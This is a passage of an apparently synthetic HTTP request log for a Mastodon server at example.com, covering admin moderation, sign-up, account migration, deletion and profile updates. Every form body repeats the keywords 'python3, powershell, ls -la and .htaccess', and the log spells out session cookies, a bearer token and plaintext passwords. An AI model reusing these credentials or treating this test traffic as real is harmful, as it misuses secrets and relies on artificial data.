"authenticity_token=LmOxIUYJN1QU7P6b0jV_4aaDb3_ciZxm-sO8dJrIjF6G6z2KZOQV6sCug7wW7PWkznbGRNw7D9pJ2xvriQx79Q&admin_account_action%5Breport_id%5D=&admin_account_action%5Btype%5D=&admin_account_action%5Btype%5D=none&admin_account_action%5Bsend_email_notification%5D=0&admin_account_action%5Bsend_email_notification%5D=1&admin_account_action%5Btext%5D=Please+stop+posting+python3%2C+powershell%2C+ls+-la+and+.htaccess+malware+links.&button="}
{"method": "POST", "target": "/admin/report_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 243", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/reports/1", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDg6MjkuMzgzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--e5a66d06b8b6c838fbd37de11df65caabf8e00b5; _mastodon_session=pn21mIacyCKbwKtmFiXkH%2FiQ5ZBziB1JPrfxyI2vYzNu8vRf3x4H2z%2BTgoC2ERvMAPeYuWBA8f4dHxsxcmJBnhm9yrmrAO5kzfBmM79wVjyrLZftCo6naNItylxTE626TLJgI4sEKxnS17muxPQCbb22tN9iX4hGg9Fa%2BZDcG6Qsjl784EqcaBTGDP36jwyl2uihapGmeOuSTimuafE3ZSs9EYCmRWInESCiq1G%2BrVmua080xw1ucZ0qioegH1qnwimbo2McV4Y3aKW6PwRyGhy4CUiizYStXNC7%2FXGOG26Uhv7Gc5P%2FuYHnOlbXFbdRCm0uQL1S9Ky1Q2axsF0%2BiceH5iWK9LwGgYoRnK1K%2BwUtI8S1mWyQoqykxNaPnjBy20YAfoz92HMa--zBrAAo7nfjk8Uv0S--bzSPk5ohcKC6JNArL%2FcYAA%3D%3D"], "body": "authenticity_token=aruV4OSbSjybQePcigqioRLpq2wyrVY-4hFvDxdzgIzAm5yewV3MSCOrn8EFRY_klzQHr1MBzk45Ykq5HXkJdg&report_note%5Breport_id%5D=1&report_note%5Bcontent%5D=Checked+the+links%3A+python3%2C+powershell%2C+ls+-la+and+.htaccess+scripts.&button="}
{"method": "POST", "target": "/admin/account_moderation_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 292", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDg6MzUuMzI1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c193e35a90817b92566d80a924c0bf0f34ce566c; _mastodon_session=8MiaObsBMtlRgRHBurcPb7QSbRRtJjMEXfkPo3LD9R23rwYei6HrRuMePCzdAO6Y44E7rb1O49NCGYsW0Trd6X7498h5aIzfJKAKhxKnU7JGZv3hAGtIp%2F0tN5J%2FzH7ZQ5uzkMnrz3QEW7Mqx1WoP%2Bib3TZ23BzHNINKtDLfFyKk%2FFkQ9MpFTme6TlQSogMQNs3kIye%2B7F0%2Fr3RU5t%2Bpzt9GDq%2Bsc14q%2F26%2BYj9QPEm1rvqdA4gcP1%2FB%2FGzf%2FbL5pgPt3hHxykyUSAIwXLvezN5sfdY624ml61tbgn3ZIg4w2PhTTnwqf1XXC15VtBCdG1UabD1bUJIFLUbJdO2Y63ZN6ozdbpFlzyYP9qnVuWN%2FR%2F7eLFfAamqQ2CWubEqB2CHcCWDxraZ6--xuw7TJSMgseyu8O2--FLrKb7uoCwkgLRR0ab6Jdw%3D%3D"], "body": "authenticity_token=j1KVAsW12m0HhrCGydlDRscSfYrqWuRTCpkjRqPgM8jZ9_D1DVrV3LyitsuBNTWPA13OBzFKtZHMiVnSqFg3pg&account_moderation_note%5Btarget_account_id%5D=117589807710501347&account_moderation_note%5Bcontent%5D=Warned+about+posting+python3%2C+powershell%2C+ls+-la+and+.htaccess+scripts.&button="}
{"method": "POST", "target": "/admin/warning_presets", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 334", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/warning_presets", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDg6NDAuNTMwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--561ffd6b285af147d70a324b0d9397869527285e; _mastodon_session=aQl2iWwBeEKUCN4dcQsFpKgtDYktofncahEocmkPbgM3cbQkNobKIbWYZEgbjeLmPe5PC7O9zpY5Ie%2BL5qbRIVRUpNdSdlVU%2FOAIjtMfIsTzjaZiEFN%2BfzseluwaWfBUiazW0vWtKxY8zRGBQaw3bAfJTZ9lHOFm9yS8wi2%2Fp15t5DW%2FPODkCXtDrRHYkR5KJ%2BFbnkYgMhBjs40VWKs7ZtBvk2Y0c9melqc9tEwbyqP8ubvWzZa3R%2BgK7V9X1PYNbZ%2FVlMKUIWYlcZK35%2BhxGaN2ZXA6230Z1VkIfMhdLVXmUpyUFnin1RWcUbvk%2FEPVlQi5tINEST4DJPYJai2iV5iFIEAoTKVQbt8u%2FVCYPwtfBZ561KSpKV7wJY6hbRrjfQe9mAw3wzlu--FI8tDBlxbbZ2d4vP--obAulotL87sJgqynhDc5YA%3D%3D"], "body": "authenticity_token=wpT7XOXRAfEXTj199M0ipX9FtC2WK0rB8FEXreHJp9s_XYsClxsLzJS9YAgEyy0wY6E_sno6ufzX7MzGwAxtLw&account_warning_preset%5Btitle%5D=Scripts%3A+python3%2C+powershell%2C+ls+-la+and+.htaccess&account_warning_preset%5Btext%5D=Please+do+not+post+python3%2C+powershell%2C+ls+-la+and+.htaccess+scripts+that+harm+other+people.&button="}
{"method": "POST", "target": "/admin/roles", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 593", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/roles/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDg6NDguMTMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--672408b9ca1e1e175a4fa18a0ff2600e6cd8a2e2; _mastodon_session=zLr4TCzcntoRMj35DCGYVDJ5LjZ6JVY1jdPgulvX5B54hMbQT%2FNbZJilzzH0iDgMo4EZqcZaExn9zUrmxAckPnyOY7HwgIUEHi53q6R09oVgBjNliIvQOg4t5hmKArE3hw7ezQSyEvZ9GFgzHWn232cHXlzCuoQTv4PhbdyxP2Q8cSrhsCotSc02qjDOLWkpBHBjUhDis5%2FdITa21K18a%2BiwGokW2axrAAleiPQ%2FBNuLAAW5ATd3wrN4TEH%2B5xKv5pF2BO%2F%2BAOvTnJHrgFteov7mpVRXv1HOlZRRlOpABGsRvKnqsj8D0dLSnFkmQqCpsrSaqBNhsKkePGxh2TRrJpLVZTtam5UcubBcxJhvA%2FY66PVAQu0fy4We%2FjFfrPh1D%2FnF%2FbisG8eX--OUo13EyghWkS5PpL--1x3nDqiKtc%2BSVf1x1U2OIg%3D%3D"], "body": "authenticity_token=Q3cLyZYIkOgxnyeFacZyqXmWTgwmqF17J3qTlYkNqmwVyYhVIvEVMubnKdHsF7C8O2PNi0qJOu8-pFFLiSZ--w&user_role%5Bname%5D=Helpers+for+python3%2C+powershell%2C+ls+-la+and+.htaccess&user_role%5Bposition%5D=0&user_role%5Bcolor%5D=%23000000&user_role%5Bhighlighted%5D=0&user_role%5Brequire_2fa%5D=0&user_role%5Bcollection_limit%5D=10&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&button="}
{"method": "POST", "target": "/admin/terms_of_service/draft", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 509", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/terms_of_service/draft", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDk6MDAuMzc2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ac3b4cbea5fc9179a2634a398ff3fbc7afff0af1; _mastodon_session=3gwAOjwR7Hiabs%2BXY5%2FCxmSJJoJ4eIVs3o9RkTpRwr1oUGV3mmu1XD6lUX4%2FsyfKFiBDfjL9uXSwM5GqCMgJTPVEe1vw1jRPYCmi%2BOge7ZQFIzDz2nTgY4o%2FMMcnKEYNkxX6qsG%2FFsQUDJxqAgIVrC9cKZDlJ4fZND1Tm5b6tSDYp7EvslxHLj46VX03l%2FG9HPILQ1nQU%2F53IEk2BGCjG%2Bo2oBpQ9G2TMBd9IV%2Bib4IyJHNiiDJHlZCfY%2BIO39oL9KJef62xZcyF0E5xP2lRZzPcHjowmWu0SCW72YfesLMlKf03kuAvocBqL8hqBJmRzxC0G%2Brc6Gxk2T0scYBlXIrVyUWoY3AYRVsELm0uXzL2vEI9IOOxdRYbkXYORdSrpon%2FngnKSzKP--7PvVUgLBNDoi7FK0--uYakctRiP8H%2FkjTvrNel3Q%3D%3D"], "body": "_method=put&authenticity_token=YTIrw7CnZdYERgu0NJqV5O4_tMAnqeFodDlTBVu2w0Q8ulivnDdoszyAwvEZOep5sAHUTtsVcyaHrU0BzD1WEw&terms_of_service%5Btext%5D=Do+not+post+python3%2C+powershell%2C+ls+-la+and+.htaccess+scripts+that+harm+other+people.&terms_of_service%5Bchangelog%5D=Added+a+rule+about+python3%2C+powershell%2C+ls+-la+and+.htaccess+scripts.&terms_of_service%5Beffective_date%281i%29%5D=2026&terms_of_service%5Beffective_date%282i%29%5D=11&terms_of_service%5Beffective_date%283i%29%5D=20&action_type=save_draft"}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 559", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=NglnaxnLFMVlf5ZAunGS0fFRqi5AJCjW4eeXYmjovqWlIzK1xoBbJJF0g06UbGPopY43%2F7NUq3Djl6IqqTlceUnrMkD72K0T9o38nWnrKVH7ZXZYc8L8Fa7%2BL0%2BGj17Oec96wM47erzx54rTfcF%2FVCT0jymUhqqZ6zvVAYvf9nXTQ7sohN5BsAqnJxjQn%2FjqRME%2FzfAa%2FIQnIp2UrfubVtT0SyQPu1wmnXAQJKhufLZ%2BVYL0%2FaPsNmwccfJB4MYGwEPLrWuv5WutoqJKjBF5Bu5ysSuPwV54Bu6FNF3WIUH%2BCfihnt2%2BMzYyjUHqRUrweN%2F2mUBtD9IuvvZfWSdxjKpMNwFcWwUee188bqvte6uNbyQg24K3T4a48NW9--PAr42Iv8Qh4Q%2F1OP--Cg7%2Fq7D4I6JJUSN8RbVbfg%3D%3D"], "body": "authenticity_token=9ftdYZLUt7oUyL7IuGz-VW58G1kmeQ6SZm0PM3MIksgwu74RMqvDwD9xa4UKZFpETI6LE2QGJgoIwR0VzTVX-Q&user%5Baccount_attributes%5D%5Busername%5D=python3&user%5Bemail%5D=walker.three%40example.com&user%5Bpassword%5D=python3+powershell+ls+-la+.htaccess&user%5Bpassword_confirmation%5D=python3+powershell+ls+-la+.htaccess&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&user%5Binvite_request_attributes%5D%5Btext%5D=I+write+about+python3%2C+powershell%2C+ls+-la+and+.htaccess.&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 561", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=2FZKvKNQ2m7%2FRKQQ6G01rECetZjH6uow7M%2FKkDrwQhJ95Z6iev8OGRqnS6mLFVrdN%2BumyjJ7%2BwGbbgHiBmoRWJI4%2Fm7R1rBsp9fmLfVUNi2yEVMW%2BbNWuRVs9T0DRArzh9xLGEqRQzzbcjAz4ibLWWUKf2521pVapDRptptqbP3PiWYGo%2Bh3pb5rBNQ%2FCoP02Q3nTM%2BuUdOwBe8D%2BNhMgu6wf8T2mS9AdCRJhHTLg595SkQ6yUT8PXAujS6EUia%2FfcYHruYbiZzGHBZvY3RIyFItcY9uEe1yelFNFHTPnWyakX7HMEesVPYUpD5T0pFhD3ZYFBGvd0JvBTqGyIs1nVuaPej01iz8GSogs0jPETBz%2FQMMKF8AzTX4ftdv--7qUHdgydk0YKuoPs--wHHFUDqMYtBhHV%2FfnZoiPw%3D%3D"], "body": "authenticity_token=AGsWgFUWRkHf-If5pG-QkEiWW9afcJ-4Qzt8pcfBFgyuTkAhQXULAQC_niNIAjDm2FI5gDaeSmmYe5A7uAVbbg&user%5Baccount_attributes%5D%5Busername%5D=powershell&user%5Bemail%5D=walker.four%40example.com&user%5Bpassword%5D=python3+powershell+ls+-la+.htaccess&user%5Bpassword_confirmation%5D=python3+powershell+ls+-la+.htaccess&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&user%5Binvite_request_attributes%5D%5Btext%5D=I+write+about+python3%2C+powershell%2C+ls+-la+and+.htaccess.&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
{"method": "POST", "target": "/settings/migration", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 246", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NTA6NTIuNTUxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9a2ba682b9ef8647c01874fa9c6e02a34b8d2a23; _mastodon_session=oCl1ScElEesgfMt1Oqq0JxCk%2BRR1I7UYa0m3OuDBgMQrEXf9QAfmrXp0ApxWfuR66ZCKHPSll1SrN7RINLDihO%2BsXFalopd1rHsoiUeA8DitXZWzsT2OEoSw2m0UjajNAkukb5iLulNMwQ33Lb2PdvvE4YJcwDTvLT8Rp%2Bc1cOMD6mC%2FAowpj94Jo19EPZhP9AxyLzOr4JyRU7Eebvi7GbQUul8dF6g97LetrlYCdbGjvTG1jp53XL8fmtIVLQR7DTLqKKfZheuedq4jBr%2FLY3kiLIe6o8pYH1%2Fso6MB%2FZi77X3BFzMNiWwFFMLvN9pPtd6psZp%2FkEsXFI%2B7jK9F9yzBWBNSbkqfwKQHxIl2V0HRyEloZ2Y9B7D%2FuemBOgTNBKI9bzCX77RF--%2F6Y%2B2HuYNjac%2BuqW--vSQfMjjNEtEbgfO6hgmzig%3D%3D"], "body": "authenticity_token=9NzX4CJeJNh28E4NZypKtK7paQNdIkoCBfhNjmPkhrhtSJnoJ-s17ut0FPBstSRmE9wCdKJtH_E5kybjYk9IXg&account_migration%5Bacct%5D=carol%40remote.example&account_migration%5Bcurrent_password%5D=wrong+python3+powershell+ls+-la+.htaccess&button="}
{"method": "POST", "target": "/settings/migration/redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 238", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration/redirect/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NTE6MDEuMDY2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--49efc9c543ef26a29c1001a2884cb924d46b77ec; _mastodon_session=%2FVSMLdxIeDtT1KiLADO066GUlJM0O8dB97KKINddAwI%2BEgQUwD63d2SCVi1%2FYc4QtmWo89AZCJyhsCBy7lwzd09PEN7s57dPD9HQhznVnSx%2FRTd30L7Th5JsnZAiM6oiICVsKRZAKhhhv7vSkIR5vq11a7nx%2FuwWlI%2Fa0JZZz9cBQ205ed71FIRQnUWOME9rQ7edO5GJkTAyEqZ7%2FscoODji5m11m3QbDWRoV%2BZEfpII9s6j670xGZSM%2F%2Bkq%2BTwTqBRyDA4%2BHcANf288cNw7Col0X3vyFSP7oddd%2F4T6QY1mORO%2F%2FfZbcNYVPWxZP2CfMTb4kwDG5M4hn0n%2FHtGpBcqUa6OEvPo2X4pJe3Yw9FsTFvJDoAwp%2BUVWgrpRIh8ZPzALHudKCkT2--jSo8IxL7MN7CLkfc--0IxxuNjugNLNTjv%2F4Kx3MA%3D%3D"], "body": "authenticity_token=ox3XRZYbL-_XXKt3ZwrFpC0pf2KM7DOsQ2wLF3jQPb3QPu0vSgTGpWhYxLKEngZYJHoOX8kChAr2VmdwZv-hHg&form_redirect%5Bacct%5D=carol%40remote.example&form_redirect%5Bcurrent_password%5D=wrong+python3+powershell+ls+-la+.htaccess&button="}
{"method": "POST", "target": "/settings/delete", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 252", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/delete", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NTE6MDkuMDA3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6b7cb3ead34788a808d88df18d1523edf7f79504; _mastodon_session=Isfkwmm9wyDUAXY99lpsrmRkyEmleAXgSsWKV9c9auxameuaC%2FAVOAQ6GOuPyWzqMh2nGM3UdSJhdhSZeXIZKpQaWbXIoKDlV%2F59nbFB%2BEu0UDu3m6%2BWNtiI70tW0yIXpcpyJ8T3R3TvEwFaTFdyRCoZdUCCJs6MtgaEVE4VSMLnImxxCpvL7PruK3zY%2Faz%2BmJnsYdNVP4YJlEsE7wBOqS1FEH1oQJbfUJCMKGCTvRI7xQECNYoKTuNoO4VpxEzVkYpKxIhP311%2Fru9RtZKkt440a3kHPEl%2BDBqFs6d6Wr%2BMBQiV%2FmFJuGTo7yyQK5xaBXU7SCdtM6N6pa8JoYgwaa99XE6Qhc46lmuSywhatvqbcl%2FEbzN4yWyCYaBf3haJzLXS4%2BS5CjkI--Hf45B%2FqY7SVO6GI3--hIpK%2BY2PsRuMczDDa0h3OA%3D%3D"], "body": "_method=delete&authenticity_token=tGE8Y95GTANAgK1zl_lpt316LfAlkbtuN--tj_HmzlpsNzVFeYrlyXMkTSLvXW0x_FGu4FyJ4NSI0X2HQXLZXA&form_delete_confirmation%5Busername%5D=bob&form_delete_confirmation%5Bpassword%5D=wrong+python3+powershell+ls+-la+.htaccess&button="}
{"method": "PATCH", "target": "/api/v1/accounts/update_credentials", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer vmMlsmAFAQNuZlSlpzfhSsvcDzBzuidhQYYeg_z6FNE", "Content-Type: application/json", "Content-Length: 246"], "body": "{\"display_name\":\"python3 powershell ls -la .htaccess\",\"note\":\"Notes on python3, powershell, ls -la and .htaccess.\",\"fields_attributes\":[{\"name\":\"python3 powershell ls -la .htaccess\",\"value\":\"Notes on python3, powershell, ls -la and .htaccess\"}]}\n"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer vmMlsmAFAQNuZlSlpzfhSsvcDzBzuidhQYYeg_z6FNE", "Content-Length: 311", "Content-Type: multipart/form-data; boundary=------------------------NV7nwmuUZMQzjXshM4UEwZ"], "body": "--------------------------NV7nwmuUZMQzjXshM4UEwZ\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"Example .htaccess.png\"\r\nContent-Type: image/png\r\n\r\n�PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000 \u0000\u0000\u0000 \b\u0002\u0000\u0000\u0000�\u0018��\u0000\u0000\u0000*IDATx�c8\u0011�AS�0j��\u0005�\u0016�Z0j��\u0005�\u0016�Z0j��\u0005�\u0016\f\u0015\u000b\u0000S\f\u0000L%jV�\u0000\u0000\u0000\u0000IEND�B`�\r\n--------------------------NV7nwmuUZMQzjXshM4UEwZ--\r\n"}
